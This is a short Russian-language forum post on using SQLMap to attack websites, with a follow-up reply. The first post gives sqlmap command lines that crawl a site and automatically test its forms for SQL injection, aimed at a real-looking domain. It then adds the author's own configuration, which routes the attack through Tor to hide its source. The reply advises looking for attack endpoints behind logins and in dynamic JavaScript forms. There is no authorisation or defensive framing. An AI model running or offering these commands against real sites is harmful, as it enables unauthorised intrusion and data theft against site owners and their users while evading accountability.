Поиск уязвимостей с помощью SQLMap

31.05.2026 22:29

Прописываем в SQLMap следующее:

sqlmap.py --random-agent -u gay.org --form --crawl=2 --batch
, где
--crawl=2 <- сканирование структуры сайта
--batch <- Автоматизация процесса, впредь до конца атаки
--random-agent = рандомный юзер агент
site.org <- сайт, на который мы будем совершать атаку
Думаю суть вы поняли, конкретно мои настройки выглядят примерно так:
sqlmap.py --check-tor --tor --tor-type=socks5 --tor-port=9050 --time-sec 20 -u gay.org

👍19 😮4 🤔3

07.06.2026 13:06

Не всегда это оптимально в современном мире, где есть всякие React, vue, вебсокеты и прочий современный фронтэнд. Эндпоинты для атаки надо искать с работающим яваскриптом, после логина или в каких-то сложных динамических формах.